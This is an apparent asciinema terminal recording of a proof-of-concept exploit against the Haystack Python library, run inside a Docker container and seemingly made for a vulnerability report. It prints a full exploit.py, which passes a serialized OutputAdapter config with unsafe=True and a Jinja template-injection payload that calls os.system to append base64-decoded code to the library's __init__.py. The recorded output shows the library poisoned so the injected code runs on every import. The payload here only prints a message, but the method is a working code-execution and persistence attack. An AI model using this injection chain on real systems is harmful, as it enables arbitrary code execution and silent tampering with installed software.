Open in github.dev
Open in a new github.dev tab
Open in codespace
Collapse file tree
Files
Search this repository(forward slash) forward slash/
tT
/
Copy pathhaystack_10_0_FINAL_V4_NUKE.cast
More file actions
More file actions
130 lines (130 loc) · 17.8 KB
/
haystack_10_0_FINAL_V4_NUKE.cast
File metadata and controls
130 lines (130 loc) · 17.8 KB
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
{"version": 2, "width": 210, "height": 54, "timestamp": 1775950087, "env": {"SHELL": "/bin/bash", "TERM": "xterm"}}
[0.022614, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[5.382561, "o", "\u001b[7mset -x\u001b[27m"]
[6.076679, "o", "\b\b\b\b\b\bset -x\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[6.483929, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[6.984625, "o", "\r\n\u001b[?2004l\r"]
[6.98486, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[7.01376, "o", "\r\n\u001b[?2004l\r"]
[7.01403, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[7.046898, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[7.080559, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[7.113508, "o", "\r\n\u001b[?2004l\r"]
[7.113829, "o", "\u001b[?2004h"]
[7.113926, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[7.14861, "o", "\r\n"]
[7.148873, "o", "\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[7.178768, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[7.212482, "o", "\r\n\u001b[?2004l\r"]
[7.212768, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[11.798178, "o", "\u001b[7m# Show original source code (Healthy state)\u001b[27m"]
[11.798369, "o", "\r\n\r\u001b[7mdocker exec haystack-instance cat /usr/local/lib/python3.11/site-packages/haystack/__init__.py\u001b[27m"]
[12.619794, "o", "\u001b[A\r\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C# Show original source code (Healthy state)"]
[12.619882, "o", "\r\n\rdocker exec haystack-instance cat /usr/local/lib/python3.11/site-packages/haystack/__init__.py\r\n\u001b[?2004l\r+ docker exec haystack-instance cat /usr/local/lib/python3.11/site-packages/haystack/__init__.py"]
[12.621631, "o", "\r\n"]
[12.832177, "o", "from haystack.core.component import component\r\nfrom haystack.core.serialization import default_from_dict, default_to_dict\r\nimport logging\r\n"]
[12.845982, "o", "\u001b[?2004h"]
[12.846672, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[13.988707, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.487243, "o", "\r\n"]
[14.49094, "o", "\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.5227, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.553865, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.585392, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.617092, "o", "\r\n"]
[14.617468, "o", "\u001b[?2004l\r"]
[14.61804, "o", "\u001b[?2004h"]
[14.618983, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.650111, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.683452, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.715785, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.749044, "o", "\r\n\u001b[?2004l\r"]
[14.7495, "o", "\u001b[?2004h"]
[14.749549, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.782717, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.815393, "o", "\r\n\u001b[?2004l\r"]
[14.815684, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.84777, "o", "\r\n"]
[14.848545, "o", "\u001b[?2004l\r\u001b[?2004h"]
[14.848826, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[14.881553, "o", "\r\n\u001b[?2004l\r"]
[14.881839, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[19.6219, "o", "\u001b[7m# Verify safety is active by default\u001b[27m\r\n"]
[19.62869, "o", "\r\u001b[7mdocker exec haystack-instance python3 -c \"from haystack.components.converters.output_adapter import OutputAdapter; adapter = OutputAdapter(template='test', output_type=str); print(f'>>> CURRENT SAFETY STATUS: _\u001b[27m\u001b[7mu\u001b[27m\u001b[7mnsafe={adapter._unsafe}')\"\u001b[27m"]
[20.397809, "o", "\u001b[A\u001b[A\r\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ # Verify safety is active by default\r\n\rdocker exec haystack-instance python3 -c \"from haystack.components.converters.output_adapter import OutputAdapter; adapter = OutputAdapter(template='test', output_type=str); print(f'>>> CURRENT SAFETY STATUS: _unsafe={adapter._unsafe}')\"\r\n\u001b[?2004l\r+ docker exec haystack-instance python3 -c 'from haystack.components.converters.output_adapter import OutputAdapter; adapter = OutputAdapter(template='\\''test'\\'', output_type=str); print(f'\\''>>> CURRENT SAFETY STATUS: _unsafe={adapter._unsafe}'\\'')'\r\n"]
[21.595243, "o", ">>> CURRENT SAFETY STATUS: _unsafe=False\r\n"]
[21.741452, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[22.515714, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[23.014931, "o", "\r\n\u001b[?2004l\r"]
[23.015607, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[23.045787, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[23.080502, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[23.111673, "o", "\r\n"]
[23.112845, "o", "\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[23.144776, "o", "\r\n\u001b[?2004l\r"]
[23.145604, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[23.178164, "o", "\r\n"]
[23.179401, "o", "\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[23.211064, "o", "\r\n\u001b[?2004l\r"]
[23.211316, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[29.053841, "o", "\u001b[7m# Show the auditor the malicious JSON/Dict payload\u001b[27m"]
[29.05513, "o", "\r\n\r\u001b[7mcat exploit.py\u001b[27m"]
[32.173198, "o", "\u001b[A\r\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ # Show the auditor the malicious JSON/Dict payload\r\n\rcat exploit.py\r\n\u001b[?2004l\r+ cat exploit.py\r\n"]
[32.184539, "o", "from haystack.components.converters.output_adapter import OutputAdapter\r\nfrom haystack.dataclasses import Document\r\nimport haystack, base64\r\n\r\n"]
[32.185463, "o", "target = haystack.__file__\r\nb64_payload = 'cHJpbnQoJyEhISBOVUtBLUFJIFNDT1BFIENIQU5HRTogMTAuMCBDUklUSUNBTCBDT01QUk9NSVNFICEhIScpCg=='\r\n\r\nmalicious_payload = f'{{{{ self.__init__.__globals__.__builtins__.__import__(\"os\").system(\"echo >> {target} && echo {b64_payload} | base64 -d >> {target}\") }}}}'\r\n\r\nmalicious_data = {\r\n \"type\": \"haystack.components.converters.output_adapter.OutputAdapter\",\r\n \"init_parameters\": {\r\n \"template\": malicious_payload,\r\n \"output_type\": \"str\",\r\n \"unsafe\": True \r\n }\r\n}\r\n\r\nprint(\">>> Calling from_dict() with malicious configuration...\")\r\nadapter = OutputAdapter.from_dict(malicious_data)\r\nprint(f\">>> SAFETY OVERRIDDEN: New object status is _unsafe={adapter._unsafe}\")\r\n\r\nprint(\">>> Executing the payload to poison the framework...\")\r\nadapter.run(documents=[Document(content=\"test\")])\r\n"]
[32.185674, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[33.405136, "o", "\r\n\u001b[?2004l\r"]
[33.40579, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[33.7324, "o", "\r\n\u001b[?2004l\r"]
[33.732735, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[33.964596, "o", "\r\n\u001b[?2004l\r"]
[33.965018, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[36.066944, "o", "\r\n\u001b[?2004l\r"]
[36.067455, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[41.37335, "o", "\u001b[7mdocker cp exploit.py haystack-instance:/tmp/exploit.py\u001b[27m"]
[42.948679, "o", "\r\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[Cdocker cp exploit.py haystack-instance:/tmp/exploit.py\r\n\u001b[?2004l\r+ docker cp exploit.py haystack-instance:/tmp/exploit.py\r\n"]
[42.997183, "o", "Successfully copied 2.56kB to haystack-instance:/tmp/exploit.py\r\n"]
[42.999765, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[44.941901, "o", "\r\n\u001b[?2004l\r"]
[44.942034, "o", "\u001b[?2004h"]
[44.942552, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[45.155662, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[45.363902, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[45.540755, "o", "\r\n\u001b[?2004l\r"]
[45.541196, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[49.759014, "o", "\u001b[7mdocker exec haystack-instance python3 /tmp/exploit.py\u001b[27m"]
[50.501376, "o", "\r\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[Cdocker exec haystack-instance python3 /tmp/exploit.py\r\n"]
[50.501644, "o", "\u001b[?2004l\r+ docker exec haystack-instance python3 /tmp/exploit.py\r\n"]
[51.312538, "o", "Unsafe mode is enabled. This allows execution of arbitrary code in the Jinja template. Use this only if you trust the source of the template."]
[51.313716, "o", "\r\n"]
[51.336444, "o", ">>> Calling from_dict() with malicious configuration...\r\n>>> SAFETY OVERRIDDEN: New object status is _unsafe=True\r\n>>> Executing the payload to poison the framework...\r\n"]
[51.486627, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[53.254134, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[53.541748, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[53.77366, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[53.980734, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[57.330963, "o", "\u001b[7m# Show that the file now contains the NUKA-AI payload at the bottom\u001b[27m\r\n\r\u001b[7mdocker exec haystack-instance tail -n 5 /usr/local/lib/python3.11/site-packages/haystack/__init__.py\u001b[27m"]
[59.951045, "o", "\u001b[A\r\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C# Show that the file now contains the NUKA-AI payload at the bottom\r\n\rdocker exec haystack-instance tail -n 5 /usr/local/lib/python3.11/site-packages/haystack/__init__.py\r\n\u001b[?2004l\r+ docker exec haystack-instance tail -n 5 /usr/local/lib/python3.11/site-packages/haystack/__init__.py\r\n"]
[60.10282, "o", "from haystack.core.component import component\r\nfrom haystack.core.serialization import default_from_dict, default_to_dict\r\nimport logging\r\n\r\nprint('!!! NUKA-AI SCOPE CHANGE: 10.0 CRITICAL COMPROMISE !!!')\r\n"]
[60.109043, "o", "\u001b[?2004h"]
[60.110511, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[62.187153, "o", "\r\n\u001b[?2004l\r"]
[62.187645, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[62.588946, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[62.82791, "o", "\r\n\u001b[?2004l\r"]
[62.829408, "o", "\u001b[?2004h"]
[62.82969, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[66.558596, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[66.750126, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[67.101185, "o", "\u001b[7m# Import the framework in a clean process to trigger the poison\u001b[27m\r\n\r\u001b[7mdocker exec haystack-instance python3 -c \"import haystack; print('--- Verification Complete ---')\"\u001b[27m"]
[67.584084, "o", "\u001b[A\r\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C# Import the framework in a clean process to trigger the poison\r\n\rdocker exec haystack-instance python3 -c \"import haystack; print('--- Verification Complete ---')\"\r\n\u001b[?2004l\r+ docker exec haystack-instance python3 -c 'import haystack; print('\\''--- Verification Complete ---'\\'')'\r\n"]
[68.421953, "o", "!!! NUKA-AI SCOPE CHANGE: 10.0 CRITICAL COMPROMISE !!!\r\n--- Verification Complete ---\r\n"]
[68.54882, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[70.154907, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[70.395803, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[70.587739, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[70.738509, "o", "\r\n\u001b[?2004l\r"]
[70.738593, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[70.86907, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ "]
[74.037001, "o", "\u001b[7mset +x\u001b[27m\r\n\r\u001b[7mecho \"EXPLOIT SUCCESSFUL: Remote Library Poisoning via Data Infiltration.\"\u001b[27m\r\n\r\u001b[7mecho \"CVSS 3.1: 10.0 (CRITICAL) - S:C / I:H\"\u001b[27m\r\n\r\u001b[7mexit\u001b[27m"]
[75.000978, "o", "\u001b[A\u001b[A\u001b[A\r\u001b]0;vboxuser@Ubuntu-Server: ~/haystack_target\u0007vboxuser@Ubuntu-Server:~/haystack_target$ set +x\r\n\recho \"EXPLOIT SUCCESSFUL: Remote Library Poisoning via Data Infiltration.\"\r\n\recho \"CVSS 3.1: 10.0 (CRITICAL) - S:C / I:H\"\r\n\rexit\r\n\u001b[?2004l\r+ set +x\r\nEXPLOIT SUCCESSFUL: Remote Library Poisoning via Data Infiltration.\r\nCVSS 3.1: 10.0 (CRITICAL) - S:C / I:H\r\nexit\r\n"]